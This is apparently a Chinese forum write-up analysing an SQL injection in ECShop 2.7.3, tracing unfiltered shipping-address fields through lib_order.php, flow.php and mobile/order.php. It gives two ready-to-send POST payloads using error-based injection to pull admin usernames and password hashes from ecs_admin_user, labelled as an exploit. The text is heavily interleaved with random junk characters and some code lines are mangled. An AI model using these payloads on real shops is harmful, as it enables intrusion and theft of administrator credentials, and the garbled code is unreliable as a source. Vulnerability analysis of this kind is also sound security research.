前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
3 A/ P9 _0 D5 t& z2 h% L$ N" o7 p5 K7 k; W8 q4 S
漏洞关键文件:- x J: ]8 `, b$ f- l+ w+ |
# w7 q+ d1 Y) m) l9 @! b; f /includes/lib_order.php$ S" n2 Q. P5 X' q0 C
0 Q: c: m4 x, }* o" @" V8 I: b' R
关键函数:& N/ d9 @$ n3 y2 X# T% @- i# Q9 p3 M4 M
2 b' W& |0 p! j2 o' R+ b; |
2 y q- ~# j: W% D- q0 Q& d. |: J8 e7 c0 B9 ~
01 function available_shipping_list($region_id_list)
! S5 T y% }0 |, B/ \1 l' H- s U5 D9 w- [- t" R
02 { " H% C/ U, q6 A( E; r; q% u/ }; x
, C0 N; e/ S4 t* z I: ~03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . + z# X" q( M/ t2 L5 Z
. F: }& w* Z! v/ J+ p+ N$ K04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ' A( n$ I4 V) B: G1 K7 ~9 c
* i/ z2 p% d, F; y% \7 B
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
9 t7 g0 Z0 } n; E9 c. k/ p
7 M' w" ^0 a! \( _& i6 r" K06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
+ K" @# \+ n: [4 j6 M6 j+ q
$ ^( O; [$ ?7 ^07 $GLOBALS['ecs']->table('area_region') . ' AS r '. - v# m0 V0 s8 \( f( ?+ {7 r
; [. Q3 |. I( f) m$ n @1 M08 'WHERE r.region_id ' . db_create_in($region_id_list) . / j7 S3 Y" n$ v% Y$ {1 n
1 t2 x. ^4 h: G5 P& T' m# z2 N% M09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
" x% Q# v0 M0 b
( v) j+ X! O4 p10
. @6 E' b7 r, Z% A+ U/ l- W
5 e$ l! f' | M2 F0 y; I11 return $GLOBALS['db']->getAll($sql); . C) U0 w4 N- Q1 u( r2 r
2 @) f8 C m; M: |& s b, l12 } / R6 s/ w0 R: {* S* ^" X
5 W* C% W7 c q: m" k& k; O显然对传入的参数没有任何过滤就带入了查询语句。
( p9 T9 ~3 m" W8 k }1 ]" M7 p
: T& [ L% N+ T下面我们追踪这个函数在flow.php中:
& \: E4 Q, A- \ [9 { F" Z* m; | 第531行: * _" b& S% V: g* T$ t- ]8 P
9 L# p& ]' O v/ Q. v2 r' `1 $shipping_list = available_shipping_list($region);
3 O/ D% r; \$ p! y$ o, e
2 L: n( f# A7 p: D* j 6 R% P' }8 |( O; r! s
' l$ a E) Y3 Q5 }1 ?9 i3 | 9 [/ j" k/ ?2 G
5 @8 I5 C/ ]* H+ p再对传入变量进行追踪:$ d1 k, ?9 S' p0 N0 o% J: C. J# S
7 ]& u Y' {9 p8 p& _7 ^2 L
第530行:
3 U v1 \1 r+ E& }+ L6 W1 t
8 J0 M N2 ]; h, e# {1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 Q+ g% O5 m& F+ g! I
/ L5 W2 p* Q! n: ] * g* @; W# H& d( v; `+ u' E
& Z/ b7 S9 ^9 S 7 k, E( O3 w: W3 J1 `- x
. t! h4 }' g& U0 m6 I第473行:
# E$ k# Y& T4 `, P+ I( X/ E0 X; u
" l2 x# Z- j( x, J2 v1 $consignee = get_consignee($_SESSION['user_id']);
1 o" m8 l. A p( Z8 ?" t! ?
" }3 n# G( i2 B到了一个关键函数:) p3 c | F1 L$ i
/ u5 J3 S, v2 H& l% D
/includes/lib_order.php
; |7 G- M$ p( l) M
- |2 R Q& O7 n/ S , o5 V- m2 i- w/ v; Q5 B# q
' Q0 N9 @& x% M) M' M4 ]
# k& E1 q9 g# q5 T$ n' _+ H' h4 I+ X
/ I4 b2 A( @9 Z% _4 y
01 function get_consignee($user_id) % l/ c8 |0 R* C
6 H: C8 l( W4 V- g3 x) T& ]9 E9 ` f$ h02 {
4 O3 [6 Z7 o+ D, y5 }8 s4 G; Q% }9 s: h; z2 w% t! T5 K( @% T/ f
03 if (isset($_SESSION['flow_consignee']))
$ J8 O5 b8 g0 [& E8 e B+ P: a5 v$ e+ U s" q! P4 E" o8 j' U
04 { . A5 V7 F+ J4 \ A
6 N- c/ e) N [1 H7 @! |& F05 /* 如果存在session,则直接返回session中的收货人信息 */
8 _6 _4 p- f8 X5 _0 z- W( L6 Q, ?( m" k& x& M
06 1 b2 }5 |/ K$ j( r" Q6 L. ]- @* x0 v
8 e3 F6 Q4 @! V+ |; i8 H07 return $_SESSION['flow_consignee']; 9 G( |4 Y& \- C6 n$ G
% p6 v1 H7 I, t$ f$ X, K08 } : K7 n/ d% l: v* j% v' ?
& m/ w% v1 r$ v09 else * @& a! k: G4 b: q v
+ x9 R8 T8 L$ f% F7 s) b10 {
# f% i& ?. r7 X* Y# N
5 h+ l, a6 _- r7 G8 f11 /* 如果不存在,则取得用户的默认收货人信息 */ , y( k+ R7 |/ y) c! X8 P, l
( c* l5 G3 c, h/ _- [( P
12 $arr = array(); . @% I- l9 J+ m, r! y" m. @5 t/ ^4 h& {
9 k! x: I1 m2 B/ b& M% d& `; J
13 / V" ^5 C' u$ I* Y. [- a4 s
$ U1 N0 |2 p- @+ R14 if ($user_id > 0) * F: _! v" O4 r V( }
; V+ `& N' s" Q; S( N
15 { " x2 P1 J; m: |, B" q5 j
, t7 i9 I$ @+ }0 K$ Q2 C2 s16 /* 取默认地址 */ 3 G. D8 ] [- V* s
# W3 O" i7 w3 i9 A
17 $sql = "SELECT ua.*". - A; e$ s9 i7 H; N* C$ D
( Z |/ N+ S4 `) i8 v: Q7 ~
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. " F9 l' d7 Y3 S/ W- Q. ^& J8 X% B
9 K# H* q9 B8 @9 S: A1 W19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
( h# x7 c1 |! Z3 B( P y
0 \6 F. n. Z' x+ H, ]! m20
( l+ x* b7 v9 ]6 o& l) ]) l1 R8 Y( w: t
21 $arr = $GLOBALS['db']->getRow($sql); , p% o) m5 J q4 r! V
% B G& i* A) N22 }
4 `) B3 C% u: D+ c4 g" p2 T5 J! s$ D* z( p; V9 h
23
/ b4 z* a& z3 u6 p
6 z! n% A0 t# y! ~, E# P: ]24 return $arr;
8 F6 l& E- N/ {" O' Z0 ~5 @0 F& G& h! N, H
25 }
2 E2 O7 M; v) r T' F9 o$ z; B0 Y3 R+ u) c' x9 f8 e$ e4 ~0 g
26 }
, }4 ]; d1 X- j! b G5 `$ _: e- `$ @! c9 U
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?4 b! D3 u3 Y( V3 z; z0 S; F7 F
! t* H3 s+ e/ {/ K% m
1 {% k: A, d b( _# o
* G! B! m0 R% v; A6 d1 `
关键点:
- \5 ? T' K6 U! e
9 a" Y: \7 r: S5 C, N" W' b3 c第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee); _0 o, T# c4 O0 j% ~& w U5 E
. U. O' @2 G+ T, ~* e. n4 f
这里对传入参数反转义存入$_SESSION中。
/ s( T! w+ A, P# R' @/ ^; a4 U* n, ^9 }" R8 ^
0 H# i4 v6 y9 V# g8 b2 r6 w
/ }: X/ J$ T2 N3 @ [: C h
然后看下:
0 ^2 r9 \6 g5 }" L: I2 @' d' y% x E2 F" V5 k) T/ Q
% ~# g+ t* w( O" I! E) m/ ]
6 m+ b4 z+ d7 h3 U. C 5 D! T4 k0 h# E. j2 K' k7 M
) o' |; w$ I) _# Y& R3 a01 $consignee = array(
" H$ w9 B7 M" A3 H: V$ Y( J# ?' Y+ Z: V- }
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
" x' C) q4 ?% e! t& S9 g
: C2 c9 F( @0 p/ C5 v% c5 g5 u$ ?03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ! }# O. F- F. t+ C* C# G/ l
' Y+ a2 D Q, n1 I
04 'country' => empty($_POST['country']) ? '' _POST['country'], % }7 ]& L) Q: V
& T4 H) Y& }, p* W* X- @
05 'province' => empty($_POST['province']) ? '' _POST['province'],
5 j2 t3 Q0 m5 w3 g0 B" ?* L8 D5 o+ A
06 'city' => empty($_POST['city']) ? '' _POST['city'], 1 w' N- m w7 @) I
+ f5 p3 N9 w$ X$ y3 r$ P/ s/ Z07 'district' => empty($_POST['district']) ? '' _POST['district'], # p& E( S* E& S# u/ B
$ X* X; G' c) i; J* G! K08 'email' => empty($_POST['email']) ? '' _POST['email'], 3 C) f5 a. M m4 I% \4 z
" w9 X2 ~/ K. a% Y
09 'address' => empty($_POST['address']) ? '' _POST['address'], % o) D4 M0 i+ k) l8 S: _
' Q t( J3 F/ |; m
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
/ L, ?: \4 {+ w5 |- Z
3 _# ?. W1 n2 A! K) g* F8 T+ B11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), " q% S( f/ p5 s2 G: m5 V* s
5 z" ?( X8 t% |
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
0 b2 _3 @! _8 d1 \+ C2 o# z: X, J! U
- w- D3 l" z0 p: m; `' d9 |13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 2 s: E8 j0 |' }" q4 E4 m
( l* X5 X; i8 |/ b3 c14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], * c) D+ v% p: j6 J5 r- u) N
0 @, l/ B$ U( e# H& f, r; }
15 ); 3 c) s( J o4 C4 b. u
: y: Z5 o0 R4 o9 _& p) J' i好了注入就这样出现了。1 E+ j J; S* G! c
7 S5 u7 H* n+ M' b* ?# |==================2 c. D5 u3 m- c% T7 m; y( [# ?) w
b' d7 \. @& ^, b4 V, b9 e& B
注入测试:" _( F, g; L& P5 [( t9 L$ o! T5 U
; Z/ k0 R* q# Y* F t: s环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)* b: Y4 J# C% A( c
! g& q9 q) }' v测试程序:ECShop_V2.7.3_UTF8_release11068 v, p, w% ]. f* O7 t- ^
: ?) t& `4 y) Z! j+ I
4 z& W3 Q" U! s+ G& j7 t
* }$ r$ r' `2 F* ~+ `1.首先需要点击一个商品加入购物车, Q: B9 m( ]0 p) Y, ?8 g/ J
1 Q" F& n' l$ ~* v- i
2.注册一个会员帐号/ J1 S* |/ o( q5 f
: j$ y7 j+ T; G9 }3 V6 T3.post提交数据
0 I$ V0 x; ^. o: i. c0 c5 q$ _; @# E0 u5 V
* f0 ?+ Q! ?" I7 a3 G( n
5 z% c& q/ k7 ]" z. x2 @ ?1 http://127.0.0.1/ecshop/flow.php
5 i2 g8 r6 {3 H; I
! p2 K; ~5 v( n. K6 Y8 }7 [. O; Q2 $ h2 [1 j' V) _5 ~% O
, z5 X G+ q& c
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 9 A% V% s( e9 N j/ z
举一反三,我们根据这个漏洞我们可以继续深入挖掘:/ j2 u1 h9 U8 {* y# n# y
. V# l$ N/ x. I, e- P
我们搜寻关键函数function available_shipping_list()
1 w6 [. U- N7 i' O3 H& ^* B" K2 r
7 h% l# `* W- o在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同- G6 C, L6 [: m Y. w0 s
( O! y2 K6 ~0 q9 u6 y' \# |% y利用exp:8 {+ {8 d* V- _+ p" f( S
$ q; t6 q) f, |/ P$ }
1.点击一个商品,点击购买商标9 e1 H* N! F3 x5 A1 S) X W6 S
& I2 d& o7 o1 A
2.登录会员帐号
& h' _. h& s9 ~7 P0 q5 ~: K$ a+ R8 E& A( B* G: \
3.post提交:: G3 r& t0 \( }$ c D8 L1 h
7 M. o# T5 _6 R6 P' u6 s' f9 q6 V" qhttp://127.0.0.1/ecshop/mobile/order.php
) ?: ^7 f, O3 s+ M% P, Y+ F
/ ~) c. A: b0 |. \2 q
4 H- r6 E: d1 w/ j: j, J% d4 O
0 w- w# J6 S. M; j5 w3 \1 `. r- jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 M0 |) `# s, Q: e P9 o; ^8 d+ R; d6 R7 K* t' D& n5 Z; s& ?$ ?6 y
|